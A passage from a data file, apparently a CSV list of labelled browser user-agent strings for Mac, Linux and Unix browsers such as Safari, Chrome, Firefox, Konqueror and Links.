Safari/600.8.9\"\nBrowsers - Mac,Safari 9.0 601.1.56 (OS X 10_11),\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56\"\nBrowsers - Mac,Safari 10.1 601.7 (OS X 10_11_6),\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.8 (KHTML, like Gecko) Version/10.1 Safari/603.1.30\"\nBrowsers - Mac,Safari 10.0 602.1 (OS X 10_10_5),\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50\"\nBrowsers - Mac,SeaMonkey 2.7.1 (OS X 10.5 - Mozilla),Mozilla/5.0 (Macintosh; Intel Mac OS X 10.5; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1\nBrowsers - Mac,Silk 1.0.13 (AppleWebKit 533.16) 2.9 (Mac OS X 10_6_3),\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us; Silk/1.0.13.81_10003810) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Silk-Accelerated=true\"\nBrowsers - Mac,Vivaldi 1.0.162 (Chrome 41) (Mac OS X 10_10_3),\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.105 Safari/537.36 Vivaldi/1.0.162.9\"\nBrowsers - Linux,Elinks 0.4pre5,ELinks (0.4pre5; Linux 2.6.10-ac7 i686; 80x33)\nBrowsers - Linux,ELinks 0.9.3 (Kanotix),ELinks/0.9.3 (textmode; Linux 2.6.9-kanotix-8 i686; 127x41)\nBrowsers - Linux,ELinks 0.12~pre5-4,ELinks/0.12~pre5-4\nBrowsers - Linux,Links 0.9.1,Links/0.9.1 (Linux 2.4.24; i386;)\nBrowsers - Linux,Links 2.1,Links (2.1pre15; Linux 2.4.26 i686; 158x61)\nBrowsers - Linux,Links 2.3pre1,Links (2.3pre1; Linux 2.6.38-8-generic x86_64; 170x48)\nBrowsers - Linux,Lynx 2.8.5rel.1,Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/0.8.12\nBrowsers - Linux,w3m 0.5.1,w3m/0.5.1\nBrowsers - Linux,Chrome 4.0 (Debian),\"Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.4 (KHTML, like Gecko) Chrome/4.0.237.0 Safari/532.4 Debian\"\nBrowsers - Linux,Chrome 4.0,\"Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.277.0 Safari/532.8\"\nBrowsers - Linux,Chrome 5.0,\"Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.309.0 Safari/532.9\"\nBrowsers - Linux,Chrome 7.0 (64 bit),\"Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7\"\nBrowsers - Linux,Chrome 9.1 (Ubuntu 64 bit),\"Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML, like Gecko) Ubuntu/10.10 Chrome/9.1.0.0 Safari/540.0\"\nBrowsers - Linux,Chrome 10.0 (64 bit),\"Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Chrome/10.0.613.0 Safari/534.15\"\nBrowsers - Linux,Chrome 10.0 (Ubuntu 32 bit),\"Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.613.0 Chrome/10.0.613.0 Safari/534.15\"\nBrowsers - Linux,Chrome 12.0 (Ubuntu 64 bit),\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.703.0 Chrome/12.0.703.0 Safari/534.24\"\nBrowsers - Linux,Chrome 13.0 (64 bit),\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1\"\nBrowsers - Linux,Chrome 13.0 (Slackware 13.37 64 bit),\"Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41\"\nBrowsers - Linux,Chrome 14.0 (Ubuntu 11.04),\"Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/14.0.825.0 Chrome/14.0.825.0 Safari/535.1\"\nBrowsers - Linux,Chrome 15.0 (Ubuntu 11.10),\"Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.2 (KHTML, like Gecko) Ubuntu/11.10 Chromium/15.0.874.120 Chrome/15.0.874.120 Safari/535.2\"\nBrowsers - Linux,Chrome 19.0 (64 bit),\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5\"\nBrowsers - Linux,Epiphany 1.2 - Gecko,Mozilla/5.0 (X11; U; Linux; i686; en-US; rv:1.6) Gecko Epiphany/1.2.5\nBrowsers - Linux,Epiphany 1.4 - Gecko (Ubuntu),Mozilla/5.0 (X11; U; Linux i586; en-US; rv:1.7.3) Gecko/20040924 Epiphany/1.4.4 (Ubuntu)\nBrowsers - Linux,Firefox 0.8,Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040614 Firefox/0.8\nBrowsers - Linux,Firefox 2.0.0.12 (Ubuntu 7.10),Mozilla/5.0 (X11; U; Linux x86_64; sv-SE; rv:1.8.1.12) Gecko/20080207 Ubuntu/7.10 (gutsy) Firefox/2.0.0.12\nBrowsers - Linux,Firefox 3.0.12 - (Ubuntu karmic 9.10),Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009060309 Ubuntu/9.10 (karmic) Firefox/3.0.11\nBrowsers - Linux,Firefox 3.5.2 - Shiretoko (Ubuntu 9.04),Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2) Gecko/20090803 Ubuntu/9.04 (jaunty) Shiretoko/3.5.2\nBrowsers - Linux,Firefox 3.5.5,Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.5) Gecko/20091107 Firefox/3.5.5\nBrowsers - Linux,Firefox 3.5.3 (Mint 8),Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20091020 Linux Mint/8 (Helena) Firefox/3.5.3\nBrowsers - Linux,Firefox 3.6.9 (Gentoo 64 bit),Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.9) Gecko/20100915 Gentoo Firefox/3.6.9\nBrowsers - Linux,Firefox 3.8 (Ubuntu/9.25),Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.2) Gecko/20121223 Ubuntu/9.25 (jaunty) Firefox/3.8\nBrowsers - Linux,Firefox 4.0b6pre (32 bit),Mozilla/5.0 (X11; Linux i686; rv:2.0b6pre) Gecko/20100907 Firefox/4.0b6pre\nBrowsers - Linux,Firefox 4.0.1 (32 on 64 bit),Mozilla/5.0 (X11; Linux i686 on x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1\nBrowsers - Linux,Firefox 4.0.1 (32 bit),Mozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20100101 Firefox/4.0.1\nBrowsers - Linux,Firefox 4.0.1 (64 bit),Mozilla/5.0 (X11; Linux x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1\nBrowsers - Linux,Firefox 4.2a1pre (64 bit),Mozilla/5.0 (X11; Linux x86_64; rv:2.2a1pre) Gecko/20100101 Firefox/4.2a1pre\nBrowsers - Linux,Firefox 5.0 (32 bit),Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0\nBrowsers - Linux,Firefox 6.0 (32 bit),Mozilla/5.0 (X11; Linux i686; rv:6.0) Gecko/20100101 Firefox/6.0\nBrowsers - Linux,Firefox 7.0a1 (64 bit),Mozilla/5.0 (X11; Linux x86_64; rv:7.0a1) Gecko/20110623 Firefox/7.0a1\nBrowsers - Linux,Firefox 8.0 (32 bit),Mozilla/5.0 (X11; Linux i686; rv:8.0) Gecko/20100101 Firefox/8.0\nBrowsers - Linux,Firefox 10.0.1 (64 bit),Mozilla/5.0 (X11; Linux x86_64; rv:10.0.1) Gecko/20100101 Firefox/10.0.1\nBrowsers - Linux,Firefox 11.0 (32 bit),Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.16) Gecko/20120421 Gecko Firefox/11.0\nBrowsers - Linux,Firefox 12.0 (32 bit),Mozilla/5.0 (X11; Linux i686; rv:12.0) Gecko/20100101 Firefox/12.0\nBrowsers - Linux,Firefox 14.0.1 (Ubuntu 64 bit),Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:14.0) Gecko/20100101 Firefox/14.0.1\nBrowsers - Linux,Galeon 1.3,Mozilla/5.0 (X11; U; Linux; i686; en-US; rv:1.6) Gecko Galeon/1.3.14\nBrowsers - Linux,Iceape (SeaMonkey) 1.1.9 (Debian),Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.8.1.13) Gecko/20080313 Iceape/1.1.9 (Debian-1.1.9-5)\nBrowsers - Linux,Iceweasel (Firefox) 3.6.3 (Debian),Mozilla/5.0 (X11; U; Linux i686; pt-PT; rv:1.9.2.3) Gecko/20100402 Iceweasel/3.6.3 (like Firefox/3.6.3) GTB7.0\nBrowsers - Linux,Iceweasel (Firefox) 5.0 (Debian 64),Mozilla/5.0 (X11; Linux x86_64; rv:5.0) Gecko/20100101 Firefox/5.0 Iceweasel/5.0\nBrowsers - Linux,Iceweasel (Firefox) 6.0a2 (Debian 32),Mozilla/5.0 (X11; Linux i686; rv:6.0a2) Gecko/20110615 Firefox/6.0a2 Iceweasel/6.0a2\nBrowsers - Linux,Iceweasel (Firefox) 14.0.1,Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1 Iceweasel/14.0.1\nBrowsers - Linux,Iceweasel (Firefox) 15.02 (Debian),Mozilla/5.0 (X11; Linux x86_64; rv:15.0) Gecko/20120724 Debian Iceweasel/15.02\nBrowsers - Linux,Konqueror 3 rc4 - khtml,Konqueror/3.0-rc4; (Konqueror/3.0-rc4; i686 Linux;;datecode)\nBrowsers - Linux,Konqueror 3.3 - khtml (Gentoo),Mozilla/5.0 (compatible; Konqueror/3.3; Linux 2.6.8-gentoo-r3; X11;\nBrowsers - Linux,Konqueror 3.5 - khtml (Debian),Mozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.30-7.dmz.1-liquorix-686; X11) KHTML/3.5.10 (like Gecko) (Debian package 4:3.5.10.dfsg.1-1 b1)\nBrowsers - Linux,Konqueror 3.5.6 - khtml (Kubuntu),Mozilla/5.0 (compatible; Konqueror/3.5; Linux; en_US) KHTML/3.5.6 (like Gecko) (Kubuntu)\nBrowsers - Linux,Minefield (Firefox Nightly) 4.0b2pre,Mozilla/5.0 (X11; Linux x86_64; en-US; rv:2.0b2pre) Gecko/20100712 Minefield/4.0b2pre\nBrowsers - Linux,Mozilla 1.6 (Debian),Mozilla/5.0 (X11; U; Linux; i686; en-US; rv:1.6) Gecko Debian/1.6-7\nBrowsers - Linux,Opera 7.23,MSIE (MSIE 6.0; X11; Linux; i686) Opera 7.23\nBrowsers - Linux,Opera 9.64 (Linux Mint),Opera/9.64 (X11; Linux i686; U; Linux Mint; nb) Presto/2.1.1\nBrowsers - Linux,Opera 10.10 (id as 9.8),Opera/9.80 (X11; Linux i686; U; en) Presto/2.2.15 Version/10.10\nBrowsers - Linux,Opera 11.00 (id as 9.8),Opera/9.80 (X11; Linux x86_64; U; pl) Presto/2.7.62 Version/11.00\nBrowsers - Linux,QupZilla 1.2 (Webkit 534.34),\"Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.34 (KHTML, like Gecko) QupZilla/1.2.0 Safari/534.34\"\nBrowsers - Linux,SeaMonkey 2.0.12 (Mozilla),Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.17) Gecko/20110123 SeaMonkey/2.0.12\nBrowsers - Linux,Swiftfox 2.0,Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061024 Firefox/2.0 (Swiftfox)\nBrowsers - Linux,Arora 0.11 - WebKit,\"Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527  (KHTML, like Gecko, Safari/419.3) Arora/0.10.1\"\nBrowsers - Linux,Chrome 20.0 (CrOS),\"Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11\"\nBrowsers - Linux,Chrome 22.0 (64 bit),Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.4 (KHTML like Gecko) Chrome/22.0.1229.56 Safari/537.4\nBrowsers - Linux,Chrome 28.0 (32 bit),\"Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1478.0 Safari/537.36\"\nBrowsers - Linux,Chrome 36.0 (CrOS),Mozilla/5.0 (X11; CrOS x86_64 5841.83.0) AppleWebKit/537.36 (KHTML like Gecko) Chrome/36.0.1985.138 Safari/537.36\nBrowsers - Linux,Chrome 36.0 (64 bit),Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/36.0.1985.125 Safari/537.36\nBrowsers - Linux,Chrome 39.0 (32 bit),\"Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2166.2 Safari/537.36\"\nBrowsers - Linux,Chrome 41.0 (64 bit),\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36\"\nBrowsers - Linux,Chrome 43.0 (64 bit),\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.93 Safari/537.36\"\nBrowsers - Linux,Chrome 44.0 (32 bit),\"Mozilla/5.0 (X11; Linux i686 (x86_64)) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36\"\nBrowsers - Linux,Chrome 52.0 (Fedora 64 bit),\"Mozilla/5.0 (X11; Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36\"\nBrowsers - Linux,Chrome 55.0 (64 bit),\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2876.0 Safari/537.36\"\nBrowsers - Linux,Chrome 62.0 (32 bit),\"Mozilla/5.0 (X11; Linux i686 (x86_64)) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3187.0 Safari/537.366\"\nBrowsers - Linux,Chrome 62.0 (Fedora s64 bit),\"Mozilla/5.0 (X11; Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3178.0 Safari/537.36\"\nBrowsers - Linux,Chromium 25.0 (Ubuntu 32 bit),Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.22 (KHTML like Gecko) Ubuntu Chromium/25.0.1364.160 Chrome/25.0.1364.160 Safari/537.22\nBrowsers - Linux,Chromium 33.0 (Ubuntu 64 bit),\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/33.0.1750.152 Chrome/33.0.1750.152 Safari/537.36\"\nBrowsers - Linux,Chromium 51.0 (Ubuntu 32 bit),\"Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/51.0.2704.79 Chrome/51.0.2704.79 Safari/537.36\"\nBrowsers - Linux,Chromium 60.0 (Ubuntu 32 bit),\"Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/60.0.3112.78 Chrome/60.0.3112.78 Safari/537.36\"\nBrowsers - Linux,Dillo 3.0,Mozilla/4.0 (compatible; Dillo 3.0)\nBrowsers - Linux,Epiphany - WebKit (528.5),\"Mozilla/5.0 (X11; U; Linux i686; en-us) AppleWebKit/528.5  (KHTML, like Gecko, Safari/528.5 ) lt-GtkLauncher\"\nBrowsers - Linux,Epiphany 3.8.2 - WebKit (537.32),\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.32 (KHTML, like Gecko) Chromium/25.0.1349.2 Chrome/25.0.1349.2 Safari/537.32 Epiphany/3.8.2\"\nBrowsers - Linux,Epiphany 3.24 (Ubuntu - Webkit 604.1),\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/604.1 (KHTML, like Gecko) Version/11.0 Safari/604.1 Ubuntu/17.04 (3.24.1-0ubuntu1) Epiphany/3.24.1\"\nBrowsers - Linux,Firefox 16.0 (32 bit),Mozilla/5.0 (X11; Linux i686; rv:16.0) Gecko/20100101 Firefox/16.0\nBrowsers - Linux,Firefox 19.0 (Slackware 13 32 bit),Mozilla/5.0 (X11; U; Linux i686; rv:19.0) Gecko/20100101 Slackware/13 Firefox/19.0\nBrowsers - Linux,Firefox 20.0 (Ubuntu 64 bit),Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:20.0) Gecko/20100101 Firefox/20.0\nBrowsers - Linux,Firefox 20.0 (32 bit),Mozilla/5.0 (X11; Linux i686; rv:20.0) Gecko/20100101 Firefox/20.0\nBrowsers - Linux,Firefox 25.0 (32 bit),Mozilla/5.0 (X11; Linux i686; rv:25.0) Gecko/20100101 Firefox/25.0\nBrowsers - Linux,Firefox 28.0 (32 bit),Mozilla/5.0 (X11; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0\nBrowsers - Linux,Firefox 32.0 (32 bit),Mozilla/5.0 (X11; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.0\nBrowsers - Linux,Firefox 35.0 (Ubuntu 64 bit),Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0\nBrowsers - Linux,Firefox 36.0 (CentOS 64 bit),Mozilla/5.0 (X11; CentOS; Linux x86_64; rv:36.0) Gecko/20100101 Firefox/36.0\nBrowsers - Linux,Firefox 38.0 (64 bit),Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0\nBrowsers - Linux,Firefox 40.0 (32 bit),Mozilla/5.0 (X11; Linux i686; rv:40.0) Gecko/20100101 Firefox/40.0\nBrowsers - Linux,Firefox 43.0 (32 bit),Mozilla/5.0 (X11; Linux i686; rv:43.0) Gecko/20100101 Firefox/43.0\nBrowsers - Linux,Firefox 46.0 (32 bit),Mozilla/5.0 (X11; Linux i686; rv:46.0) Gecko/20100101 Firefox/46.0\nBrowsers - Linux,Firefox 49.0 (32 bit),Mozilla/5.0 (X11; Linux i686; rv:49.0) Gecko/20100101 Firefox/49.0\nBrowsers - Linux,Firefox 49.0 (Fedora 64 bit),Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0\nBrowsers - Linux,Firefox 49.0 (Ubuntu 64 bit),Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0\nBrowsers - Linux,Firefox 55.0 (64 bit),Mozilla/5.0 (X11; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0\nBrowsers - Linux,Firefox 55.0 (Ubuntu 64 bit),Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0\nBrowsers - Linux,Galeon 2.0.6 (Ubuntu),Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Galeon/2.0.6 (Ubuntu 2.0.6-2)\nBrowsers - Linux,Galeon 2.0.6 (Gentoo),Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080716 (Gentoo) Galeon/2.0.6\nBrowsers - Linux,Iceape (SeaMonkey) 2.0.8 (Debian),Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.13) Gecko/20100916 Iceape/2.0.8\nBrowsers - Linux,Iceweasel (Firefox) 19.0 (Debian 64),Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0 Iceweasel/19.0.2\nBrowsers - Linux,Iceweasel (Firefox) 38.0 (Debian 64),Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.1\nBrowsers - Linux,Konqueror 4.3 - khtml (Slackware 13),Mozilla/5.0 (compatible; Konqueror/4.2; Linux) KHTML/4.2.4 (like Gecko) Slackware/13.0\nBrowsers - Linux,Konqueror 4.3 - khtml (Fedora 11),Mozilla/5.0 (compatible; Konqueror/4.3; Linux) KHTML/4.3.1 (like Gecko) Fedora/4.3.1-3.fc11\nBrowsers - Linux,Konqueror 4.4 - khtml (Fedora 12),Mozilla/5.0 (compatible; Konqueror/4.4; Linux) KHTML/4.4.1 (like Gecko) Fedora/4.4.1-1.fc12\nBrowsers - Linux,Konqueror 4.4 - khtml (Kubuntu),Mozilla/5.0 (compatible; Konqueror/4.4; Linux 2.6.32-22-generic; X11; en_US) KHTML/4.4.3 (like Gecko) Kubuntu\nBrowsers - Linux,Konqueror 4.4 - khtml (Kubuntu),Mozilla/5.0 (compatible; Konqueror/4.4; Linux 2.6.32-22-generic; X11; en_US) KHTML/4.4.3 (like Gecko) Kubuntu\nBrowsers - Linux,Konqueror 4.8 - khtml (Debian),Mozilla/5.0 (X11; Linux 3.8-6.dmz.1-liquorix-686) KHTML/4.8.4 (like Gecko) Konqueror/4.8\nBrowsers - Linux,Konqueror 4.9 - khtml,Mozilla/5.0 (X11; Linux) KHTML/4.9.1 (like Gecko) Konqueror/4.9\nBrowsers - Linux,Konqueror 4.14 - khtml,\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.21 (KHTML, like Gecko) konqueror/4.14.10 Safari/537.21\"\nBrowsers - Linux,Midori 0.1.10 (Webkit 531),Midori/0.1.10 (X11; Linux i686; U; en-us) WebKit/(531).(2)\nBrowsers - Linux,Mozilla 1.9.0 (Debian),Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.3) Gecko/2008092814 (Debian-3.0.1-1)\nBrowsers - Linux,Mozilla 1.9a3pre,Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a3pre) Gecko/20070330\nBrowsers - Linux,\"Opera 12.16 (id as 9.8, last presto)\",Opera/9.80 (X11; Linux i686) Presto/2.12.388 Version/12.16\nBrowsers - Linux,Opera 20.0 (Chrome 33),\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.166 Safari/537.36 OPR/20.0.1396.73172\"\nBrowsers - Linux,Opera 20.0 (Chrome 33),\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.166 Safari/537.36 OPR/20.0.1396.73172\"\nBrowsers - Linux,Opera 32.0 (Chrome 45),\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 OPR/32.0.1948.25\"\nBrowsers - Linux,Opera 40.0 (Chrome 53),\"Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.101 Safari/537.36 OPR/40.0.2308.62\"\nBrowsers - Linux,Puffin 4.8 (Chrome 30),\"Mozilla/5.0 (X11; U; Linux x86_64; en-us) AppleWebKit/537.36 (KHTML, like Gecko)  Chrome/30.0.1599.114 Safari/537.36 Puffin/4.8.0.2965AT\"\nBrowsers - Linux,QupZilla 1.8 (Webkit 538.2),\"Mozilla/5.0 (X11; Linux i686) AppleWebKit/538.1 (KHTML, like Gecko) QupZilla/1.8.6 Safari/538.1\"\nBrowsers - Linux,QupZilla 1.9 (Webkit 538.1),\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) QupZilla/1.9.0 Safari/538.1\"\nBrowsers - Linux,SeaMonkey 2.7 (Firefox 10),Mozilla/5.0 (X11; Linux i686; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1\nBrowsers - Linux,SeaMonkey 2.9 (Firefox 12),Mozilla/5.0 (X11; Linux i686; rv:12.0) Gecko/20120502 Firefox/12.0 SeaMonkey/2.9.1\nBrowsers - Linux,SeaMonkey 2.35 (Firefox 38),Mozilla/5.0 (Windows NT 5.1; rv:38.0) Gecko/20100101 Firefox/38.0 SeaMonkey/2.35\nBrowsers - Linux,SeaMonkey 2.46 (Firefox 49),Mozilla/5.0 (X11; Linux i686; rv:49.0) Gecko/20100101 Firefox/49.0 SeaMonkey/2.46\nBrowsers - Linux,Shadowfox 7.0 (Firefox 7),Mozilla/5.0 (X11; U; Linux x86_64; us; rv:1.9.1.19) Gecko/20110430 shadowfox/7.0 (like Firefox/7.0\nBrowsers - Linux,Swiftfox 3.6.3,Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.2.3) Gecko/20100406 Firefox/3.6.3 (Swiftfox)\nBrowsers - Linux,Uzbl (Webkit 1.3),Uzbl (Webkit 1.3) (Linux i686 [i686])\nBrowsers - Linux,Vivaldi 1.0.344 (Chrome 47),\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.80 Safari/537.36 Vivaldi/1.0.344.37\"\nBrowsers - Unix,ELinks 0.4.3 (NetBSD),ELinks (0.4.3; NetBSD 3.0.2PATCH sparc64; 141x19)\nBrowsers - Unix,Links 2.1 (FreeBSD),Links (2.1pre15; FreeBSD 5.3-RELEASE i386; 196x84)\nBrowsers - Unix,Links 2.8.7,Lynx/2.8.7dev.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8d\nBrowsers - Unix,w3m 0.5.1,w3m/0.5.1\nBrowsers - Unix,Chrome 4.0 (FreeBSD),\"Mozilla/5.0 (X11; U; FreeBSD i386; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0\"\nBrowsers - Unix,Chrome 5.0 (OpenBSD 32),\"Mozilla/5.0 (X11; U; OpenBSD i386; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.359.0 Safari/533.3\"\nBrowsers - Unix,Chrome 10.0 (FreeBSD 64),\"Mozilla/5.0 (X11; U; FreeBSD x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16\"\nBrowsers - Unix,Firebird 0.6 (SunOs),Mozilla/5.0 (X11; U; SunOS sun4m; en-US; rv:1.4b) Gecko/20030517 Mozilla Firebird/0.6\nBrowsers - Unix,Firefox 3.1b3 (SunOs),Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.9.1b3) Gecko/20090429 Firefox/3.1b3\nBrowsers - Unix,Firefox 3.5 (OpenBSD),Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.9.1) Gecko/20090702 Firefox/3.5\nBrowsers - Unix,Firefox 3.6.8 (FreeBSD),Mozilla/5.0 (X11; U; FreeBSD i386; de-CH; rv:1.9.2.8) Gecko/20100729 Firefox/3.6.8\nBrowsers - Unix,Firefox 5.0 (FreeBSD 64),Mozilla/5.0 (X11; FreeBSD amd64; rv:5.0) Gecko/20100101 Firefox/5.0\nBrowsers - Unix,Galeon 1.3.15 (FreeBSD),Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.6) Gecko/20040406 Galeon/1.3.15\nBrowsers - Unix,Konqueror 3.5 - khtml (NetBSD 4.0),Mozilla/5.0 (compatible; Konqueror/3.5; NetBSD 4.0_RC3; X11) KHTML/3.5.7 (like Gecko)\nBrowsers - Unix,Konqueror 3.5.1 - khtml (SunOS),Mozilla/5.0 (compatible; Konqueror/3.5; SunOS) KHTML/3.5.1 (like Gecko)\nBrowsers - Unix,Mozilla 1.7 (FreeBSD),Mozilla/5.0 (X11; U; FreeBSD; i386; en-US; rv:1.7) Gecko\nBrowsers - Unix,Netscape 4.77 (Irix),Mozilla/4.77 [en] (X11; I; IRIX;64 6.5 IP30)\nBrowsers - Unix,Netscape 4.8 (SunOS),Mozilla/4.8 [en] (X11; U; SunOS; 5.7 sun4u)\nBrowsers - Unix,Arora 0.10.2 (BSD/Haiku),\"Mozilla/5.0 (Unknown; U; UNIX BSD/SYSV system; C -) AppleWebKit/527  (KHTML, like Gecko, Safari/419.3) Arora/0.10.2\"\nBrowsers - Unix,Chrome 19.0 (FreeBSD 64),Mozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/536.5 (KHTML like Gecko) Chrome/19.0.1084.56 Safari/536.5\nBrowsers - Unix,Chrome 22.0 (FreeBSD 64),Mozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/537.4 (KHTML like Gecko) Chrome/22.0.1229.79 Safari/537.4\nBrowsers - Unix,Chrome 27.0 (NetBSD),\"Mozilla/5.0 (X11; NetBSD) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36\"\nBrowsers - Unix,Chrome 36.0 (OpenBSD),\"Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like 